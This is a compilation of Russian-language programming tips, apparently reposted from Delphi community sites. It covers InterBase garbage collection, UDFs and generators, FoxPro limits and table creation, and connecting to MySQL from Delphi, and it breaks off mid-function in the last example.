Итак, после массового удаления даем SELECT COUNT(*)..., возможно с тем же условием что и DELETE, для "вычистки" удаленных записей. Разумеется, результат этого запроса будет равен нулю, т.к. записей нет. Но "мусорные" записи будут собраны. Причем процесс сборки мусора будет никак не быстрее, чем время выполнения DELETE, а зачастую и много дольше (отчасти и потому, что старых версий записей была не одна, а несколько). Лучше всего select count выполнять в следующей после удаления транзакции.

Но самое большое влияние на скорость чистки удаленных записей оказывают неуникальные индексы. В качестве пояснения и примера лучше процитировать одно из писем Анны Харрисон (ныне директор IBPhoenix) на эту тему:
"Если возможно, посмотрите статистику сервера (gstat или Server Manager). Найдите индексы с наиболее длинными цепочками дубликатов у таблиц, которым предстоит пережить массовое удаление. Если цепочка больше 7000 строк (ключей) то стоимость сборки мусора будет меньше, если сделать индексы более селективными - например изменив одиночый индекс на композитный с оригинальным полем в качестве первого поля индекса и полем первичного ключа в качестве второго поля индекса.

Я попробовала удалить 20 тысяч записей из таблицы и собрать мусор - при записи небольшого размера и одном уникальном индексе (на очень медленном процессоре и антикварном винчестере) удаление заняло 47.54 секунды, а сборка мусора - 75.90 секунд (1 минута, 15.90 секунд). После этого я добавила индекс с 20000 дубликатов значений и после этого удаление заняло 38.04 секунды, но сборка мусора заняла 865.47 секунд (14 минут, 25.47 секунд).

Вот статистика запроса, который привел к сборке мусора в обоих случаях:
С уникальным индексом С дубликатами

· Elapsed time= 75.90 sec Elapsed time= 865.47 sec
· Reads = 1694 Reads = 1814
· Writes = 1499 Writes = 1732
· Fetches = 225,541 Fetches = 2,540,593

Обратите внимание на elapsed time и fetches - они отличаются более чем в 10 раз."
Харрисон дальше выводов не делает, кроме упомянутого в цитате изменения неуникального индекса. На самом деле зачастую (в зависимости от процентного соотношения записей которые удаляют, и которые остаются) бывает проще удалить или "выключить" этот неуникальный индекс.

Причем оказалось (спасибо Владимиру Мамзикову), что ALTER INDEX INACTIVE на самом деле не только удаляет индекс, оставляя его описание в базе данных, но и производит какие-то дополнительные действия. Эти действия тоже могут занять определенное время, причем чем больше дубликатов в индексе, тем больше времени это займет. DROP INDEX не производит этих "действий", и выполняется практически мгновенно.

Уже знакомые с IB могут спросить - а почему не был предложен способ backup/restore для избавления от мусора? Действительно, этим способом можно пользоваться (не забыв включить опцию Disable garbage collection), но при определенных размерах базы данных (несколько гигабайт) бывает выгоднее по скорости удалить индексы, чем делать backup restore.

Напоследок, немного данных по реальному проекту от Владимира Мамзикова:

· База данных - 1.5Гб, несколько таблиц с ~1 млн записей, одна таблица с 9 млн записей.
· Удаление ~4 млн записей (delete) - несколько минут
· Сборка мусора (4млн записей) select count - 20 и более часов
· Операция backup/restore (с disable garbage collection) - в сумме 15 минут
· Отключение неуникального индекса (alter index inactive) - 6 минут
· Сборка мусора (4млн записей) select count без индекса - 12 минут
· Удаление неуникального индекса (drop index) - несколько секунд (против 6 минут alter index inactive).

Разумеется, сюда не включено время активирования или повторного создания неуникального индекса. Но этот процесс в основном зависит от скорости винчестера, а кроме того, вероятно что количество оставшихся в таблице записей намного меньше, чем количество удаленных, поэтому индексирование пройдет быстро.

Взято с http://delphiworld.narod.ru


Создание UDF для InterBase

library nikelutils

uses SysUtils, Classes;

function MaxInt(var Int1, Int2: Integer): Integer;
  far cdecl export;
begin
  if (Int1 > Int2) then
    Result := Int1
  else
    Result := Int2;
end;

function MinInt(var Int1, Int2: Integer): Integer;
  far cdecl export;
begin
  if (Int1 < Int2) then
    Result := Int1
  else
    Result := Int2;
end;

exports
  MaxInt;
MinInt;

begin
end.

А это пишим в базе:

DECLARE EXTERNAL FUNCTION MAXINT INTEGER, INTEGER
RETURNS INTEGER BY VALUE
ENTRY_POINT "MaxInt" MODULE_NAME "nikelutils.dll";

DECLARE EXTERNAL FUNCTION MININT INTEGER, INTEGER
RETURNS INTEGER BY VALUE
ENTRY_POINT "MinInt" MODULE_NAME "nikelutils.dll";

Взято с http://delphiworld.narod.ru


При попытке регистрации UDF возникает ошибка - udf not defined

Автор: Nomadic

Располагайте DLL в каталоге Interbase/Bin, или в одном из каталогов, в которых ОС обязательно будет произведен поиск этой библиотеки (для Windows это %SystemRoot% и %Path%);

При декларировании функции не следует указывать расширение модуля (в Windows по умолчанию DLL):

declare external function f_SubStr
cstring(254), integer, integer
returns
cstring(254)
entry_point "Substr" module_name "UDF1"

Где UDF1 - UDF1.DLL.

Взято с http://delphiworld.narod.ru


Переход с Oracle на Interbase

Автор: Shawn Wu

Я пытаюсь преобразовать мою базу данных на Oracle в базу данных local Interbase server. Все таблицы Oracle ссылаются на имя схемы. Interbase поддерживает такого типа имена схем?

Нет, Interbase не использует понятие классификатора таблицы (владельца), как это делают другие сервера, например, Oracle или Sybase. Наилучшее решение в этом случае - использование директив компиляции, позволяющее контролировать соглашение о стиле имен Oracle или Interbase, используемое в генерируемом .exe-файле.

Также, Delphi читает все атрибуты Oracle типа Number и конвертирует их в FloatField. Interbase при этом использует тип SmallIntField. Так, для преобразования необходимо пройтись по всем таблицам, удалить поля и затем снова их добавить. Можно это сделать как-то по-человечески?

Если я правильно понял то, что вы хотели сказать, то этот вопрос относится к специфике Interbase. Например, Interbase использует короткое поле (short field) с масштабированием вместо реального типа, если заданная при создании таблицы точность не превышает 10. [например, CREATE TABLE xxx (FLOATFIELD NUMERIC (5, 2)) обычно означает реальный тип с точностью 5 цифр с 2-мя цифрами после запятой. Но Interbase знает, что сможет поместить 5 цифр в короткое поле, поэтому она создаст короткое поле и запись и смасштабирует его с коэффициентом 2.] Проблема в следующем: BDE "спрашивает" Interbase о полях таблицы и их типах, Interbase честно рапортует, что поля имеют тип short, т.е. они "короткие". Но BDE ничего не знает о масштабировании.

Чтобы обойти этот неприятный момент, необходимо создать поле с точностью более 10, заставляя Interbase делать поля реального, а не короткого типа.

Могу ли я менять один тип SQL на другой, или это - несбыточная мечта?

Проблема в том, что каждый производитель создал свой диалект и реализацию SQL, который не обязательно был совместимым с SQL других производителей, особенно в рамках расширений "стандартного" SQL.

Существует ли возможность инкапсуляции общего кода для работы с базой данных от специфических реализаций конкретных версий баз, что позволило бы клиенту легко переходить от одного типа таблиц к другому?

Как я уже говорил выше: директивы компилятора.

Взято с http://delphiworld.narod.ru


OLE и Interbase - прочесть и записать

Автор: Rob Minte

procedure TForm1.ReadOLE;
var
  BS:    TBlobStream;
begin
  BS := TBlobStream.Create(Table1BLOBFIELD_BLOB, bmRead);
  OLEContainer1.LoadFromStream(BS);
  BS.Free;
end;

procedure TForm1.WriteOLE;
var
  BS:    TBlobStream;
begin
  BS := TBlobStream.Create(Table1BLOBFIELD_BLOB, bmWrite);
  OLEContainer1.SaveToStream(BS);
  BS.Free;
end;

Взято с http://delphiworld.narod.ru


Hе получается открыть таблицу (WIN1251 undefined)

Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined".

Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3).

Copyright (C) Alexey Mahotkin 1997-1999


Генераторы и их использование

Генераторы и их использование

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Источники: печатная документация и справочная информация по Borland InterBase, переписка листсервера esunix1.
последние изменения: 2 июля 1999.

Большинство SQL-серверов имеет специальные механизмы для создания уникальных идентификаторов. В Borland Interbase для этого существует механизм генераторов.
В данной статье будут рассмотрены следующие темы:
Создание генераторов
Использование генераторов в триггерах и хранимых процедурах
Изменение значения генератора
Получение текущего значения генератора
Удаление генераторов
Нестандартное применение генераторов

Создание генераторов
Генератор - это специальный объект базы данных, который генерирует уникальные последовательные числа. Эти числа могут быть использованы в качестве идентификаторов (например код клиента, номер счета и т.п.). Для создания генератора необходимо использовать оператор DDL

CREATE GENERATOR generatorname;

При выполнении такой команды происходит 2 действия:
1. На специальной странице БД отводится 4 байта для хранения значени генератора
2. В системной таблице RDB$GENERATORS заводится запись, куда помещаетс имя генератора иего номер (фактически смещение на странице генераторов).
После создания генератора его значения можно получать при помощи функции

GEN_ID(generatorname, inc_value)

где inc_value - число, на которое необходимо прирастить значение генератора.
Генераторы возвращают значения (и сохраняют свои значения на диске) вне контекста транзакции пользователя. Это означает, что если генератора было увеличено с 10 до 11 (инкремент 1), то даже при откате транзакции (ROLLBACK) значение генератора не вернется к предыдущему. Вместе с этим гарантируется что каждому пользователю будет возвращено уникальное значение генератора.
При выборке значения генератора запросом вида select gen_id(genname, x) from ... следует учитывать буферизацию выборки на клиенте. Т.е. в многопользовательской среде при выполнении двух таких запросов значения генератора будут увеличиваться "пачками", а не на величину x для каждой выбираемой записи.

Использование генераторов в триггерах и хранимых процедурах
Пример триггера, автоматически присваивающего уникальное значение ключевому полю таблицы:
создадим генератор для уникальной идентификации клиентов:

CREATE GENERATOR NEWCLIENT;

создадим триггер для таблицы CLIENTS :

CREATE TRIGGER TBI_CLIENTS FOR CLIENTS
ACTIVE BEFORE INSERT POSITION 0
AS
BEGIN
  NEW.CLIENT_ID = GEN_ID(NEWCLIENT, 1);
END

В результате при создании новой записи полю CLIENT_ID будет автоматически присваиваться новое значение.
Однако при использовании генератора в триггере возникает проблема на клиентской стороне (например в BDE, используемом в Delphi, C++Builder ...), когда клиентское приложение пытается перечитать только-что вставленную запись. Поскольку триггер меняет значение первичного ключа вставляемой записи, BDE "теряет" такую запись и чаще всего выдает сообщение "Record/Key deleted". Поскольку SQL-сервер не может сообщить клиентскому приложению о новом значении ключевого поля, необходимо сначала запросить уникальное значение с сервера, и только затем использовать его во вставляемой записи. Сделать это можно при помощи хранимой процедуры

CREATE PROCEDURE GETNEWCLIENT
RETURNS (NID INTEGER)
AS
BEGIN
  NID = GEN_ID(NEWCLIENT, 1);
END

В Delphi, вы можете поместить компонент TStoredProc на форму, подсоединить его к данной процедуре, и например в методе таблицы BeforePost написать следующее

begin
  if DataSource.State = dsInsert then
    begin
      StoredProc1.ExecProc;
      ClientTable.FieldByName('CLIENT_ID').asInteger:=
         StoredProc1.Params[0].asInteger;
    end;
end;

После этого вышеприведенный триггер TBI_CLIENTS можно либо удалить, либо переписать так, чтобы генератор использовался только когда поле первичного ключа случайно приобрело значение NULL (например когда к таблице CLIENTS доступ осуществляется не через ваше приложение):

ALTER TRIGGER TBI_CLIENTS
AS
BEGIN
  IF (NEW.CLIENT_ID IS NULL) THEN
    NEW.CLIENT_ID = GEN_ID(NEWCLIENT, 1);
END

Однако использование хранимой процедуры не всегда удобно - BDE может решить, что процедура вероятно изменяет какие-то данные на сервере, и в режиме autocommit завершит текущую транзакцию, что вызовет перечитывание данных TTable и TQuery. Более простым способом является получение значения генератора при помощи запроса:
SELECT GEN_ID(NEWCLIENT, 1) FROM RDB$DATABASE
При этом, если запрос помещен например в Query2, текст в BeforePost будет следующим:

begin
  if DataSource.State = dsInsert then
    begin
      Query2.Open;
      ClientTable.FieldByName('CLIENT_ID').asInteger:=
         Query2.Fields[0].asInteger;
      Query2.Close;
    end;
end;

Такой способ более предпочтителен, чем использование хранимой процедуры для получения значения генератора, особенно при большом количестве генераторов.

Изменение значения генератора
Значение генератора можно переустановить при помощи оператора DDL

SET GENERATOR generatorname TO value;

Однако вы не сможете использовать такое выражение в теле триггера или хранимой процедуры, т.к. там можно использовать только операторы DML (а не DDL).
Если вы хотите обнулить генератор, или присвоить ему определенное значение в теле хранимой процедуры, то вы можете это сделать используя функцию GEN_ID:
(В данном примере генератор NEWCLIENT увеличивается на свое-же значение с отрицательным знаком.)

...
TEMPVAR = GEN_ID(NEWCLIENT, -GEN_ID(NEWCLIENT, 0);
...

Будьте внимательны при выполнении таких операций в многопользовательских средах. Приложения, процедуры и триггеры, которые в данный момент используют этот генератор, могут предполагать что он не будет "обнулен". Обязательно проверяйте "обнуление" генератора на возникновение конфликтных ситуаций при работе 2-х и более пользователей.

Получение текущего значения генераторов
Текущее значение генератора можно получить, вызвав функцию GEN_ID с нулевым увеличением значения генератора. Это можно сделать не только в триггере или хранимой процедуре, но и оператором SELECT

SELECT GEN_ID(NEWCLIENT, 0) FROM RDB$DATABASE

Результатом выполнения запроса будет одна запись с одним полем, содержащим текущее значение генератора. Таблица RDB$DATABASES выбрана как содержаща в большинстве случаев одну запись, хотя использовать можно и любую другую таблицу.
При работе в многопользовательских средах будьте внимательны - в то время как вы получили "текущее" значение генератора, другое приложение может его изменить, и таким образом "текущее" значение окажется устаревшим. Тем более не рекомендуется использовать "текущее" значение генератора для его последующего изменения.

Удаление генераторов
В языке DDL Borland Interbase нет оператора для удаления генератора. Неизвестно, чем это вызвано, но серьезной проблемы не представляет. В самом начале статьи было упомянуто, что запись о генераторе создается в таблице RDB$GENERATORS. Эту запись, безусловно, можно удалить. Однако место, распределенное на странице генераторов, освобождено не будет. Оно будет освобождено только после того, как вы сделаете вашей БД BACKUP/RESTORE.

Нестандартное применение генераторов
Вы уже видели, что функцию GEN_ID можно использовать в операторе SELECT.
Вот как можно получить количество записей, выбранных запросом:

SET GENERATOR MYGEN TO 0;
SELECT GEN_ID(MYGEN, 1), FIELD1, FIELD2, FIELD3, ... FROM MYTABLE.

Такой запрос вернет в качестве первого поля порядковый номер записи, и после выполнения запроса генератор MYGEN будет содержать количество возвращенных записей. Кроме этого, во время выполнения этого запроса любой другой пользователь этой-же БД может получить текущее значение генератора MYGEN и узнать сколько записей уже выбрано запросом на текущий момент (нечто вроде ProgressBar, однако число записей все-равно неизвестно до окончания выполнения запроса).
Функцию GEN_ID можно также использовать и как "выключатель" длительных запросов. Пример приведен для БД EMPLOYEE.GDB.

SET GENERATOR EMP_NO_GEN TO 0;
SELECT * FROM EMPLOYEE, EMPLOYEE, EMPLOYEE
WHERE GEN_ID(EMP_NO_GEN, 0) = 0;

Фактически такой запрос означает - "выбирать записи пока значение генератора = 0". Как только другой пользователь или ваше приложение в другом коннекте выполнит операцию

SET GENERATOR EMP_NO_GEN TO 1;

запрос прекратится, т.к. условие WHERE станет равным FALSE.
(то-же самое, и даже в более сложных вариантах, можно делать при помощи UDF в Borland InterBase 4.2. см "Особенности версии 4.2")
примечание: обязательно учтитывайте буферизацию записей клиентской частью (gds32.dll) или сервером при выполнении подобных запросов. Например, приведенный выше запрос с проверкой генератора в where "выключится" не сразу, а через некоторое время.
Безусловно, в многопользовательской среде невозможно использовать в таких целях один и тот-же генератор. Для решения этой проблемы можно завести глобальный генератор, который будет выдавать уникальные идентификаторы пользователям при коннекте, а клиентское приложение будет запоминать его номер и хранить на локальном компьютере для последующего использования. Логика работы может быть следующая:
· Клиентское приложение при запуске определяет, есть-ли для него (например в Registry или INI-файле) "именной" генератор.
· Если нет, то оно операцией SELECT GEN_ID(GlobalGen, 1) FROM RDB$DATABASE получает идентификатор (например 150), создает на сервере собственный генератор операцией CREATE GENERATOR USER_N; (например USER150). После чего сохраняет имя этого генератора на локальном диске.
· Если да, то приложение обнуляет "именной" генератор операцией SET GENERATOR ... TO 0; (в нашем примере SET GENERATOR USER150 TO 0;), и выдает запросы с использованием данного генератора.

При помощи генераторов можно также решить проблему с отсутствием временных таблиц в Borland Interbase. Вы создаете таблицу, например TEMP_TBL, и в качестве первого поля, входящего в первичный ключ, указываете поле типа INTEGER. Пользователь при соединении с сервером получает собственный идентификатор у некоторого общего генератора, и затем использует его при помещении записей в такую "временную" таблицу. В результате, даже если несколько пользователей будут работать с такой таблицей, они никогда не "пересекутся" по значению первого поля первичного ключа "временной" таблицы..
Если вам недостаточно одного генератора в первичном ключе, и первичный ключ должен состоять из двух и более полей, значения которых устанавливаются генераторами, то решить такую задачу только при помощи генераторов невозможно. Для этого необходимо скомбинировать генераторы, триггеры и UDF
пояснения:
· DDL - Data Definition Language, язык определения данных
· DML - Data Manipulation Language, язык обработки данных
Copyright © 1996 Epsylon Technologies
Взято из FAQ Epsylon Technologies (095)-913-5608; (095)-913-2934; (095)-535-5349


Работа с Foxpro

Cодержание раздела:

Ограничения Foxpro
Access to table disabled because of previous error. Read failure
Краткое описание Foxpro
Создание таблицы FOXPRO New!


Ограничения Foxpro

Table and Index Files
Max. # of records per table         1 billion*
Max. # of chars per record         65,000
Max. # of fields per record         255
Max. # of open DBFs            225
Max. # of chars per field         254
Max. # of chars per index key (IDX)   100
Max. # of chars per index key (CDX)   240
Max. # of open index files per table   unlimited**
Max. # of open index files in all work areas   unlimited**

* The actual file size (in bytes) cannot exceed 2 gigabytes for single-user or exclusively opened multi-user tables. Shared tables with no indexes or .IDX indexes cannot exceed 1 gigabyte. Shared tables with structural .CDX indexes cannot exceed 2 gigabytes.
** Limited by memory. In FoxPro for MS-DOS and FoxPro for Windows, also limited by available MS-DOS file handles. Each .CDX file uses only 1 file handle. The number of MS-DOS file handles is determined by the CONFIG.SYS FILES parameter.

Field Characteristics
Max. size of character fields         254
Max. size of numeric fields            20
Max. # of chars in field names         10
Digits of precision in numeric computations   16
Взято с Delphi Knowledge Base:http://www.baltsoft.com/


Access to table disabled because of previous error. Read failure

При добавлении новых записей с помощью метода TTable.AppendRecord в индексированную таблицу FoxPro через какое-то время (то есть при одновременном добавлении большого количества записей) возникает ошибка:

"Access to table disabled because of previous error. Read failure. File <имя_файла.cdx>".

Возможно, причина заключается в том, что операции чтения-записи в файл, содержащий таблицу FoxPro, особенно при использовании кэширования, предоставляемого операционной системой, конфликтуют с содержимым индексного файла (это часто происходит при многопользовательской работе). Дело в том, что ранние версии dBase, FoxPro, Clipper работали с неподдерживаемыми индексами, то есть индексные файлы не обновлялись одновременно с таблицей, и для их синхронизации требовалось выполнять специальные операции. Но соответствующие средства разработки, применявшиеся в то время, обычно не поддерживали никаких аналогов транзакций - записи чаще всего вставлялись по одной.

В случае применения старых версий формата FoxPro следует избегать кэширования при выполнении дисковых операций с файловым сервером, содержащим базу данных FoxPro. Кроме того, следует проверить и, если необходимо, изменить в настройках BDE параметры MINBUFSIZE, MAXBUFSIZE, LOCAL SHARE - возможно, проблема заключается в недостаточной величине буферов BDE для кэширования данных или в одновременном доступе к данным приложений, использующих и не использующих BDE.

Еще одним из способов решения этой проблемы (самым радикальным) является замена FoxPro на какую-нибудь из серверных СУБД. Например, InterBase неплохо справляется с одновременным вводом большого количества записей благодаря некоторым специфическим особенностям архитектуры этого сервера.

Взято с http://delphiworld.narod.ru


Краткое описание Foxpro

Visual FoxPro последняя версия 8.0.
Производитель: Microsoft.
Домашняя страница: http://msdn.microsoft.com/vfoxpro/
После выпуска 7-ой версии Microsoft заявил о прекращении развития данного продукта, однако через год после этого была выпущена 8-ая версия.
Цена лицензионной 8-ой версии: полной версии по данным сайта производителя $649 US; для пользователей ранними версиями $349 US
В Москве 7-ая версия стоит ок. $600 US с доставкой по Москве.

Ограничения VFoxPro 7.0
Для людей имеющих представление, что такое БД привожу некоторые ограничения для 7-го Фокса (это лучше любых хар-тик), выводы сами напросятся. Для остальных распишу все позже.

Ограничения работы с базами
Максимум записей в файл таблицы...................................................1 миллиард
Максимальный размер файла таблицы.............................................2 гигабайта
Максимум символов в записи (MEMO).................................................65,500
Максимум символов в поле таблицы..................................................254
Максимальный размер числовых (и с плавающей точкой) полей....20
Максимум полей записей...................................................................255
Максимум таблиц открывается в одно время...................................255
(ограниченно памятью и доступными дескрипторами файла.)
Максимум байтов в индексном ключе в некомпактном индексе.....100
Максимум байтов в индексную ключе в компактном индексе.........240
Максимум открытых индексных файлов в таблице.........................неограниченно
Максимум открытых индексов во всех базах...............................неограниченно
Максимум отношений.......................................................................неограниченно
Максимальные поля, которые могут быть выбраны SQL SELECT........255

Ограничения языка
Минимальное значение целого числа............................-2,147,483,647
Максимальное значение целого числа............................2,147,483,647
Цифры точности в числовых вычислениях: VFoxPro может обрабатывать числа до 9007199254740992 (2^53) в точных вычислениях.
Значение по умолчанию переменных............................1,024
Максимум переменных.....................................................65,000
Максимум массивов...........................................................65,000
Максимум элементов в массив.........................................65,000
Максимум вложений DO...................................................128
Максимум вложенных структурированных команд программирования....384
Максимум транзакций......................................................5
Максимальная длина символьной переменой.................255
Максимум открытых окон.................................................неограниченно
Максимум открытых окон Browse....................................255
Максимум символов в макроподстановке........................8,192

Общие сведения.

FoxPro работает с таблицами формата *.dbf
Visual FoxPro 7.0 снабжено мощным набором мастеров, которые позволяют новичку достаточно быстро создать мощное работоспособное приложение, однако не могу рекомендовать использовать эту возможность людям, желающим, создать рациональное приложение, т.к. мастера используют навороченные библиотеки и не рационально используют память. Программы созданные с помощью мастеров очень грамозки.
FoxPro сильно интегрирован с SQL, позволяет вставлять блоки SQL-комманд непосредственно в тело основного кода и использовать в SQL-запросах собственные (фоксовские) функции. Что позволяет быстро и эффективно обробатывать большие базы, даже если таблицы не индексированы. Кроме того, FoxPro облодает собственными, очень мощными, и главное, удобными средствами работы с БД.
Наиболее крупные БД созданные на FoxPro (из мне известных):
База данных ГУВД г. Москвы.
База данных МГТС.
База данных Пенсионного фонда России.
Это основной язык написания программ Главного Научно-Вычеслительного Центра (ГНИВЦ) Министерства РФ по налогам и сборам

К достоинствам VFoxPro можно так же отнести: возможность создания составного индекса, работа с курсорами (виртуальными таблицами, не отличающимися от обычных, но исчезающих после завершения сеанса работа, т.е. не остаются ни в памяти ни на диске), возможность экспортировать\импортировать данные в\из XML, VFoxPro работает с другими базами по средствам драйвера ODBC, VFoxPro обладает высокой надежностью при работе с БД (в т.ч. и с индексами) и полность соответствует объявленным возможностям.
На VFoxPro можно создавать и клиент-серверные БД, однако в этой области VFoxPro значительно уступает большинству из известных серверов БД.
Резюме VFoxPro мощнейшее средство для работы с локальными базами данных, значительно превосходящее, по эффективности, все остальные системы БД.
Недостатки VFoxPro
Все вышесказанное относится к VFoxPro как средству разработки баз данных, однако на нем не представляется интересным создавать приложения не связанные с БД, хотя сам FoxPro является языком самодостаточным. Это связано с тем, что с VFoxPro поставляется очень убогий класс для работы с визуальными компонентами, а исходник этого класса закрыт. Поэтому разработчик ограничен в возможностях "украшать" свою программу. Следующее, в FoxPro не происходит объявления типа переменных, это лишает возможности контролировать правильность обращения к переменной и, главное, под переменную отводится максимальное кол-во памяти, поэтому программы написанные на VFoxPro очень ресурсоемкие. Большой недостаток VFoxPro - это крайне слабый конструктор отчетов, крайне осложняющий разработку приложения. Для работы программы, созданной на VFoxPro, необходимы библиотеки поддержки, что увеличивает размер поставляемой программы еще, примерно, на 4 Mb. Есть еще более мелкие недостатки.
Резюме Основными недостатками VFoxPro являются: большие требования к памяти, программами созданными на VFoxPro и слабые возможности по работе с визуальными компонентами.

Рекомендации для выбора Могу порекомендовать выбрать VFoxPro, тем кому требуется ввести и обрабатывать большие базы данных на локальных компьютерах или в небольших сетях. Т.к. VFoxPro позволяет создавать запросы, практически любой сложности. Разумеется не рекомендую использовать этот язык для составления больших серверных баз и для написания программ не связанных с ведением баз данных.

Обращаю внимание еще раз: FoxPro - это не только средство работы с базами данных, но это еще и язык программирования высокого уровня.

Типы данных Visual FoxPro
Тип данных Описание Размер Диапазон
Character Произвольный текст. 1 байт на символ; до 254 байтов Любые символы
Currency Денежная сумма. 8 байтов от -922337203685477.5808 до 922337203685477.5807
Date Хронологическая дата, состоящая из месяца, года и числа. 8 байтов от 01/01/100 до 12/31/9999
DateTime Хронологическая дата, состоящая из месяца, года, числа и времени. 8 байтов от 01/01/100 до 12/31/9999, плюс от 00:00:00 утра до 11:59:59 вечера
Logical Логическое значение истинности. 1 байт Истина (.T.) или Ложь (.F.)
Numeric Целое или с дробной частью число. 8 байтов в памяти;
от 1 до 20 байтов в таблице от
- .9999999999E+19
до
.9999999999E+20
Variant размер и диапазон принимает в соответствии с веденными данными

Типы данных полей таблиц Visual FoxPro
Тип поля Описание Размер Диапазон
Double Число с плавающей запятой двойной точности. 8 байтов от
+/-4.94065645841247E-324 до +/-1.79769313486232E308
Float Такое же, как Numeric. 8 байтов в памяти;
от 1 до 20 байтов в таблице от
- .9999999999E+19
до
.9999999999E+20
General Ссылка на OLE-объект. 4 байта в таблице. Ограничен только доступной памятью
Integer Целочисленные значения 4 байта от -2147483647 до 2147483646
Memo Ссылка на блок данных 4 байта в таблице Ограничен только доступной памятью
Character (Двоичный) Любые символьные данные, которые нужно сопровождать без изменения кодовых страниц 1 байт на символ до 254 байтов Любые символы
Memo (Двоичный) Любые memo-поля, которые нужно сопровождать без изменения кодовых страниц 4 байта в таблице Ограничен только доступной памятью

Вот пример работы с ADO
Зависимость от сервера не велика

conado=CREATEOBJECT(`adodb.connection`)
conado
TYPE(`conado`)
conado.open(`ora_ado`)
rd=CREATEOBJECT(`adodb.recordset`)
rd.Open(`select * from prof`,conado)
TYPE(`rd.Fields`)
rd.Fields(`pro`).Value
rd.MoveNext()
rd.Fields(1).Type

Пример работы через ODBC

con=sqlconnect('oradsn','scott','tiger')
if con>0 and sqlexec(con,'select * from scott.dept')>0
copy to dept
endif

если необходимо сделать параметризованный запрос:

m.depno=10
con=sqlconnect('oradsn','scott','tiger')
if con>0 and sqlexec(con,'select * from scott.dept where depno=? m.depno')>0
copy to dept
endif

Системные требования (для Visual FoxPro 7)
Процессор Pentium 133 или выше
Минимальный объем оперативной памяти - 64Mb, рекомендуется не менее 128Mb
Жесткий диск не менее 115Mb, до 200Mb, при полной установке.
Операционная система MS Windows98, ME, NT4, 2000, XP.
Видеорижим - SVGA.
Кроме того, необходимо, что бы на компьютере были установленны Internet Explorer 5.5 и Service Pack 1 (для Win2000).

Поддержка триггеров - да.
Поддержка хранимых процедур - да.
Поддержка транзакций - да.
Защита данных, шифрование - нет, шифрование данных осуществляется перед занесением данных в таблицу.
Возможность удалённого и Web администрирования - нет
Возможность импорта данных из
- MS Excell 2.0 - 97
- Lotus 1-3
- Paradox (до версии 4.0)
- Symphony
- FrameWork II
- MultiPlan 4.01
- RapidFile
Возможность экспорта данных в
- FoxBase+ (DBF)
- dBase IV (DBF)
- текстовый файл (txt)
- Lotus 1-2-3 1-A (WK1, WRK)
- Symphony (WR1, WRK)
- MultiPlan 4.01 (MOD)
System Data Format (SDF)
и некоторые другие, мало кому известные.
Наличие утилит для автоматизации операций для работы в командной строке, наличие собственных утилит для отладки запросов (выполнение SQL, построение плана выполнения кверей, профайлер и т.п.), утилиты для слежения за производительностью сервера. - Сам FoxPro

Автор Cashey
Взято с Vingrad.ru http://forum.vingrad.ru


Создание таблицы FOXPRO

if savedialog1.execute then
begin
if FileExists(savedialog1.filename) then
   DeleteFile(savedialog1.filename);
  //QUERY.DataSource НЕ ЗАПОЛНЕНО иначе взрыв гарантирован
with Session do
begin
    ConfigMode := cmSession;
  try
   AddStandardAlias('TEMPDB', extractfilepath(savedialog1.filename),
    'FOXPRO'); //FOXPRO
  finally
      ConfigMode := cmAll;
  end;
end;
 with database1 do
 begin
   databasename:='tst';
   LoginPrompt := False;
   Params.Values['PATH'] :=extractfilepath(savedialog1.filename);
   DriverName:='Microsoft FoxPro Driver (*.dbf)';
   AliasName:='TEMPDB';
 end;
 query1.paramcheck := false;
 Query1.DatabaseName := 'tst';
 Query1.SQL.Clear;
 vrem:=Trim(ChangeFileExt(extractfilename(SaveDialog1.fileName),' '));
 query1.sql.Add('CREATE TABLE '''+vrem+''' (');
 query1.sql.Add('last_name CHAR(20),');
 query1.sql.Add('first_name CHAR(15),');
 query1.sql.Add('salary DECIMAL(10,2));');  //NUMERIC
 query1.ExecSQL;
 query1.close;
end; // от savedialog

Взято с http://delphiworld.narod.ru


Работа с MySQL

Cодержание раздела:

Как подсоединиться к MySQL
Подключение через TMySQLClien & TMySQLResult New!


Как подсоединиться к MySQL

Perhaps you have already seen the uses clause. You may download mySQL.pas from www.fichtner.net/delphi

uses mySQL;

procedure Connect;
var
  myServer: PMysql;
  Tables: PMYSQL_RES;
  TableRows: my_ulonglong;
  Table: PMYSQL_ROW;
begin
  myServer := mysql_init(nil);
  if myServer <> nil then
  begin
    if mysql_options(myServer, MYSQL_OPT_CONNECT_TIMEOUT, '30') = 0 then
    begin
      if mysql_real_connect(myServer, 'host', 'user', 'password', 'database', 3306,
        nil, CLIENT_COMPRESS) <> nil then
      begin
        Tables := mysql_list_tables(myServer, nil);
        if Tables <> nil then
        begin
          TableRows := mysql_num_rows(Tables);
          while TableRows > 0 do
          begin
            Table := mysql_fetch_row(Tables);
            Tabelle := Table[0];
            Dec(TableRows);
          end;
        end;
      end;
    end;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Подключение через TMySQLClien & TMySQLResult

Решение нашел...
1. Без использования dbExpress, а с использованием специальных классов TMySQLClien & TMySQLResult.
2. Все эти файлы ( файл приаттачит Secandr (90 кил)) надо положить либо в папку с проектом, либо в <Delphi_dir>/lib.
3. Код:
Сразу говорю, показал только основные моменты. Код, для определения ошибок и т.п. писать не стал.

uses
  .....
 uMysqlClient, uMysqlCT, uMysqlErrors, uMysqlHelpers, uMysqlNet, uMysqlNewPassword, uMysqlSSL, uMysqlVio;

type
 ...
   procedure QueryData( Query : string); // Результирующий запрос (заносим данные в таблицу)
   procedure QueryNoData( Query : string ); // insetrt, delete - нет полученны данных
 ...

var
  ...
 SQLConnection     : TMysqlClient; // Объявляем переменную для соединения.
 Grid              : TStringGrid;
  ...

implementation
....

// Установка соединения
SQLConnection := TMysqlClient.Create;
 with SQLConnection do
  begin
   Host      := 'localhost';
   User      := 'root';
   Password  := '';
   Db        := 'mysql';

  try
   connect;
  Except On Exception Do
   begin
     Application.MessageBox( 'К сожалению, соединиться с MySQL-сервером не удалось. Проверьте правильность ввода всех параметров.' , 'Ошибка соединения' , 0 );
    exit;
   end;
  end;
 end;

// Выполнение запроса:

procedure TMainForm.QueryData( Query : string );
var
mysql_result : TMySQLResult;
i , j : integer;
OK : boolean;
begin
OK := true;

try
 mysql_result := SQLConnection.query( Query , true , OK );
Except On Exception Do
 begin
  Application.MessageBox( 'Запрос не выполнилс.' , 'Ошибка соединения' , 0 );
  exit;
